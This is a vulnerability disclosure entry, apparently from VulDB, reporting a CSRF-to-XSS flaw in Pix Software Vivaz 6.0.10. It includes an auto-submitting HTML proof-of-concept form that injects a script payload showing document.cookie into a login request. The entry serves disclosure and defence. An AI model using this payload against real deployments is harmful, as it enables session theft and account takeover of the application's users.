| タイトル | Pix Software Vivaz 6.0.10 Cross-Site Request Forgery |
|---|
| 説明 | A vulnerability has been identified in Pix Software's Vivaz product, version 6.0.10, that allows for Cross-Site Scripting (XSS) execution via a Cross-Site Request Forgery (CSRF) attack.
The application does not implement proper request validation mechanisms (such as CSRF tokens), allowing an attacker to send malicious requests on behalf of an authenticated user. Additionally, the lack of proper sanitization of input fields allows for the injection of malicious scripts, resulting in XSS.
Impact:
An attacker could exploit this vulnerability to execute arbitrary scripts in the context of the victim's browser. This could result in:
Stealing cookies and session information, allowing user account takeover.
Modification of content or unauthorized actions on behalf of the user.
Escalation of privileges if the attack targets administrative accounts.
PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://x.x.x.x/servlet?act=login&pixrnd=0125012208303707364328" method="POST">
<input type="hidden" name="idIncPesqSatisfacao" value="1"><ScRiPt>alert(document.cookie)</ScRiPt>" />
<input type="hidden" name="item" value="1" />
<input type="hidden" name="paramUsuario" value="1" />
<input type="hidden" name="senha" value="u]H[ww6KrA9F.x-F" />
<input type="hidden" name="sistema" value="1" />
<input type="hidden" name="subItem" value="1" />
<input type="hidden" name="usuario" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
|
|---|
| ソース | ⚠️ https://www.pixsoft.com.br/ |
|---|
| ユーザー | Stux (UID 40142) |
|---|
| 送信 | 2025年02月06日 18:35 (2 年 ago) |
|---|
| モデレーション | 2025年02月15日 16:34 (9 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 295966 [Pix Software Vivaz 6.0.10 クロスサイトリクエストフォージェリ] |
|---|
| ポイント | 17 |
|---|